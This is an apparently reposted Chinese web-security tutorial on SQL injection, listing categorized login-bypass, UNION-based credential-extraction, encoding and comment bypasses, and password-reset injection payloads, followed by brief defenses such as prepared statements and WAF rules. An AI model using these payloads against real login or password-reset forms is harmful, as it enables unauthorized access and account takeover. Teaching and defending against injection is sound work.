当前位置: 首页 > news >正文

【web安全】SQL注入与认证绕过

目录

一、SQL注入漏洞

1.1 基础注入原理

1.2 实用注入Payload分类

逻辑绕过型

注释截断型

联合查询型

常见的万能密码-CSDN博客

二、登录绕过实战技巧

2.1 基础绕过手法

2.2 高级绕过技巧

编码绕过

多重注释

参数污染

三、密码重置漏洞利用

3.1 常见漏洞模式

3.2 实用Payload

四、防御方案精要

4.1 开发防护

4.2 运维加固

速查表


一、SQL注入漏洞

1.1 基础注入原理

SQL注入是通过构造特殊输入改变原始SQL语句逻辑的攻击方式。典型攻击模式:

原始语句:SELECT * FROM users WHERE username='[输入]' AND password='[输入]'
注入后: SELECT * FROM users WHERE username='admin'--' AND password='xxx'

1.2 实用注入Payload分类

逻辑绕过型
' OR 1=1 --
" OR "a"="a
' OR '1'='1
注释截断型
admin'#
admin'/*
admin'--
联合查询型
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--

常见的万能密码-CSDN博客

二、登录绕过实战技巧

2.1 基础绕过手法

admin' OR '1'='1
admin'--
admin'/*

2.2 高级绕过技巧

编码绕过
admin%27%20OR%201%3D1--
多重注释
admin'/*!OR*/1=1--
参数污染
username=admin'--&username=realuser

三、密码重置漏洞利用

3.1 常见漏洞模式

UPDATE users SET password='[新密码]' WHERE username='[输入]'
注入: UPDATE users SET password='hacked' WHERE username='admin'--'

3.2 实用Payload

admin'--
' OR email='admin@example.com
' OR 1=1 LIMIT 1--

四、防御方案精要

4.1 开发防护

// 使用预编译语句
String sql = "SELECT * FROM users WHERE username=?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);

4.2 运维加固

  1. 启用WAF规则过滤特殊字符

  2. 限制数据库账号权限

  3. 开启SQL执行日志审计

http://www.lryc.cn/news/594535.html

相关文章:

  • 【算法300题】:双指针
  • c#转python第四天:生态系统与常用库
  • XSS的介绍
  • Linux主机 ->多机器登录
  • 从零到精通:用DataBinding解锁MVVM的开发魔法
  • 【JS逆向基础】数据库之MongoDB
  • Django接口自动化平台实现(四)
  • SpringBoot的配置文件
  • 测试学习之——Pytest Day4
  • WPF学习笔记(28)Interaction.Triggers的意义与使用方式
  • 人工智能之数学基础:随机实验、样本空间、随机事件
  • 均值漂移累积监测算法(MDAM):原理、命名、用途及实现
  • 爬虫实战案例(两个)
  • 【Lua】大G表
  • Linux 基本指令详解
  • 【论文研读】SlowFast Networks for Video Recognition
  • 大语言模型调用方式与函数调用
  • 从磁记录到数据中心:磁盘原理与服务器架构的完整技术链路
  • CVE-2022-41128
  • 六边形滚动机器人cad【7张】三维图+设计书明说
  • 从零搭建智能搜索代理:LangGraph + 实时搜索 + PDF导出完整项目实战
  • 【超越VGGT】π3-利用置换等变方法去除3r系列的归纳偏置
  • TypeScript 中替代 Interface 的方案
  • 一文速通《二次型》
  • UE5多人MOBA+GAS 26、为角色添加每秒回血回蓝(番外:添加到UI上)
  • 图的表示法以及实现
  • zabbix服务器告警处理
  • 【windows 终端美化】Windows terminal + oh-my-posh 来美化命令行终端
  • C++ 桶排序、基数排序、堆排序
  • Beamer-LaTeX学习(教程批注版)【6】